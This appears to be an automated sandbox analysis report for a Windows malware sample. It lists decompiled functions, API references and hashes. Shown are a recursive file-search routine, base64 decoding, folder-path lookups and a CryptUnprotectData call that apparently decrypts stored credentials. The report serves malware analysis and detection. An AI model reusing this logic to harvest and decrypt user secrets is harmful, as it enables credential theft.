Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A0, Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B6A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x0040b6b0
0x0040b6b7

APIs

GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Function 004126C0, Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004126C0(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t85;
				void* _t120;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x48)) == 0) {
					_t85 = E0040B590(__ecx, 0x6afa8); // executed
					_t120 = _t120 + 4;
					_v16 = _t85;
					_t126 = _v16;
					if(_v16 == 0) {
						_v24 = 0;
					} else {
						_v24 = E00412820(_v16, _t126);
					}
					 *((intOrPtr*)(_v20 + 0x48)) = _v24;
				}
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0xc)) = E004124D0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x10)) = E00411D30;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)))) = _v20;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)) = 8;
				 *((char*)( *((intOrPtr*)(_v20 + 0x48)) + 8)) =  *((intOrPtr*)(_v20 + 0x6c));
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((short*)( *((intOrPtr*)(_v20 + 0x48)) + 0xe7e)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6af70)) = 0;
				E0040EE40( *((intOrPtr*)(_v20 + 0x48)), _v20 + 0x94, 0x4000, 1);
				E0040D3E0( *((intOrPtr*)(_v20 + 0x48)), _a4 + 0x2a);
				E0040F400( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)),  *((intOrPtr*)(_v20 + 0x48)),  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)), _a4 + 4);
				_v12 = E0040FED0( *((intOrPtr*)(_v20 + 0x48)));
				 *((intOrPtr*)(_v20 + 0x90)) = _v12;
				_v8 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) != 0) {
					_v8 = 0x5000000;
				}
				return _v8;
			}

0x004126c6
0x004126d0
0x004126d7
0x004126dc
0x004126df
0x004126e2
0x004126e6
0x004126f5
0x004126e8
0x004126f0
0x004126f0
0x00412702
0x00412702
0x0041270b
0x0041271b
0x00412728
0x00412738
0x00412740
0x00412753
0x0041275c
0x0041276e
0x0041277b
0x0041279d
0x004127b3
0x004127d3
0x004127ea
0x004127f3
0x004127f9
0x0041280d
0x0041280f
0x0041280f
0x0041281c

APIs

new[].LIBCMTD ref: 004126D7

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: new[]
String ID:
API String ID: 4059295235-0
Opcode ID: f0c354d6a006c936206ac7ca2d248248363bc37bb4fef5c27d99df915ed07fc8
Instruction ID: cd1ca467f745775c49e65de816ee14feca223336516a1e1b065537540cc1f66d
Opcode Fuzzy Hash: f0c354d6a006c936206ac7ca2d248248363bc37bb4fef5c27d99df915ed07fc8
Instruction Fuzzy Hash: 464121B4A00209DFCB04DF98D894AAFB7B1FF48308F1445A8D9156B392D775AD81CF95

Uniqueness

Uniqueness Score: -1.00%

Function 007B26A6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 007B26EE

Memory Dump Source

Source File: 00000019.00000002.440925483.00000000007B1000.00000040.00000001.sdmp, Offset: 007B1000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6588749421fbd29a4d8dcdf732cc24aa5c9424afe6f2db05dbb3466a2eaf2ab3
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: ACF062311017116BD7203AB59C8DBAE77E8BF59729F100528E642D14D1DA78EC464A65

Uniqueness

Uniqueness Score: -1.00%

Function 0040B800, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040B800(void* __ecx, intOrPtr _a4, signed int _a8) {
				void* _t6;

				E0040B6E0(__ecx, _a4, 0, 4);
				_t6 =  *0x41aa00(0, _a8 | 0x00008000, 0, 0, _a4); // executed
				if(_t6 < 0) {
					return 0;
				}
				return 1;
			}

0x0040b80b
0x0040b824
0x0040b82c
0x00000000
0x0040b832
0x00000000

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 7dabddc535b1521361b8b435bbf1ddc45b089c7bee7ac325d32e59211b7abb51
Instruction ID: 0ab7b82535674e4fbb5b1dba706ca65c6e75be8480545590d4a1993878fbba4f
Opcode Fuzzy Hash: 7dabddc535b1521361b8b435bbf1ddc45b089c7bee7ac325d32e59211b7abb51
Instruction Fuzzy Hash: 53E0EC7138430876FA009E91CC07F96375CEB81B94F10D025F6095F2D0C6B5E4018BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF50, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040BF50(void* __ecx, void* __eflags, intOrPtr _a4) {
				char _v1004;
				void* _t7;

				E0040B720( &_v1004, 0x3e8);
				_t7 =  *0x41aa00(0, _a4, 0, 0,  &_v1004); // executed
				if(_t7 < 0) {
					return 0;
				}
				return  &_v1004;
			}

0x0040bf65
0x0040bf7b
0x0040bf83
0x00000000
0x0040bf8f
0x00000000

APIs

SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 1bd841de2358f0308ca034f2202068ea6a9c5557430d8bd3cb65c985106ef6dc
Instruction ID: 828d8efed70abcfa93dfe9fa816d608990fe47316e4c86ad602d76c3eaa1248a
Opcode Fuzzy Hash: 1bd841de2358f0308ca034f2202068ea6a9c5557430d8bd3cb65c985106ef6dc
Instruction Fuzzy Hash: DCE04F30A403486BE791DB61CC96FAA736CDB40B41F0042A5AA0CE70C0EB74AB844BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB70, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BB70(CHAR* _a4) {
				signed int _v8;
				intOrPtr _v12;
				long _t9;

				_t9 = GetFileAttributesA(_a4); // executed
				_v8 = _t9;
				if(_v8 == 0xffffffff || (_v8 & 0x00000010) != 0) {
					_v12 = 0;
				} else {
					_v12 = 1;
				}
				return _v12;
			}

0x0040bb7a
0x0040bb80
0x0040bb87
0x0040bb9a
0x0040bb91
0x0040bb91
0x0040bb91
0x0040bba7

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2363b84a69cfc72fd913baae1d07e59ffa601f8f039b52318538f12ef929954e
Instruction ID: 1b9edab68d2826b5b0131880a6de751a29faeb60b77424e98d3c12436ca3350d
Opcode Fuzzy Hash: 2363b84a69cfc72fd913baae1d07e59ffa601f8f039b52318538f12ef929954e
Instruction Fuzzy Hash: 9FE08670C0130CEBCB00DF98C4596ADBB74EB01311F1086A5D805777C0D3346A958B89

Uniqueness

Uniqueness Score: -1.00%

Function 00407150, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407150() {
				struct HINSTANCE__* _t1;
				int _t2;

				_t1 =  *0x41a82c; // 0x60900000
				_t2 = FreeLibrary(_t1); // executed
				return _t2;
			}

0x00407153
0x00407159
0x00407160

APIs

FreeLibrary.KERNEL32(60900000,?,0040AC48,0041A838,00000004), ref: 00407159

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3c469c4b1ea8764b2b68c86691d259717a335f89d152652d8da5e42c42c8c371
Instruction ID: c18c80ed03d6f96970b2a2d4c6f4e5bc6079d0552be612c81990cf585a03ea73
Opcode Fuzzy Hash: 3c469c4b1ea8764b2b68c86691d259717a335f89d152652d8da5e42c42c8c371
Instruction Fuzzy Hash: 78B0127100130887850067E8BD088F133DCD70C6143008021F10883511C675F420C79A

Uniqueness

Uniqueness Score: -1.00%

Function 007B2365, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 007B23B6

Memory Dump Source

Source File: 00000019.00000002.440925483.00000000007B1000.00000040.00000001.sdmp, Offset: 007B1000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 18fd0e29a24930f682890e656e8c1c0feccd926ecfb902db8aa09eee2757709b
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D2112B79A00208EFDB01DF98C989E98BBF5AF08351F058094F9489B362D375EA50EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00401200, Relevance: 1.3, APIs: 1, Instructions: 41
stringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401200(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _t19;
				void* _t21;

				_t21 = __ecx;
				E0040B720( &_v268, 0x104);
				if(_a4 == 0) {
					E0040B800(_t21,  &_v268, 0x1a); // executed
				} else {
					E0040B800( &_v268,  &_v268, 0x1c); // executed
				}
				 *0x41aa24( &_v268, _a12);
				_t19 = E00401090(0x41401a,  &_v268, _a16, _a12, _a8, _a20); // executed
				return _t19;
			}

0x00401200
0x00401215
0x0040121e
0x0040123c
0x00401220
0x00401229
0x0040122e
0x0040124f
0x00401271
0x0040127c

APIs

lstrcat.KERNEL32(?,007C6EC0), ref: 0040124F

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FolderPathlstrcat
String ID:
API String ID: 1210066190-0
Opcode ID: 8ae409c9eddae1283d8afacf39b694ab588fcb2dc64fff85c75ccb8f794526ef
Instruction ID: cfc0bd62f74829034cc612df4b91494a0f9e0e0b10b915aa4a7ff2bfd0458b58
Opcode Fuzzy Hash: 8ae409c9eddae1283d8afacf39b694ab588fcb2dc64fff85c75ccb8f794526ef
Instruction Fuzzy Hash: B1013BB690410C67C750EF54DC41FDA737C9B58704F00419AFA88A6191EA74D6D48BE6

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB00, Relevance: 1.3, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BB00(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _t20;

				_v12 = 0;
				if(_a4 != 0 && _a8 != 0) {
					_t20 = LocalAlloc(0x40, _a8 + 1); // executed
					_v12 = _t20;
					if(_v12 != 0) {
						_v8 = 0;
						while(_v8 < _a8) {
							 *((char*)(_v12 + _v8)) =  *((intOrPtr*)(_a4 + _v8));
							_v8 = _v8 + 1;
						}
					}
				}
				return _v12;
			}

0x0040bb06
0x0040bb11
0x0040bb22
0x0040bb28
0x0040bb2f
0x0040bb31
0x0040bb43
0x0040bb59
0x0040bb40
0x0040bb40
0x0040bb43
0x0040bb2f
0x0040bb63

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 59c22aaaf481a5e73130053204e89e0f4c4328cf6ab88a5961ea77c9d8a03016
Instruction ID: d2dc0f40cf47e9cb47180f4b02217863d9778fd5b581b80cec30292b74c0770f
Opcode Fuzzy Hash: 59c22aaaf481a5e73130053204e89e0f4c4328cf6ab88a5961ea77c9d8a03016
Instruction Fuzzy Hash: 8301FB7090420CEBCB05DF98C595BACBBB1EF05308F24C1A9D9196B784C3786F94DB8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x7c7a70
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x7c8230
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x7c78c0
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x7c7a58
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

pz|, xrefs: 0040977B
%s\%s, xrefs: 00409766
%s\*, xrefs: 004096ED
Xz|, xrefs: 004098A3

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*$Xz|$pz|
API String ID: 180737720-2273529231
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,007C2160), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

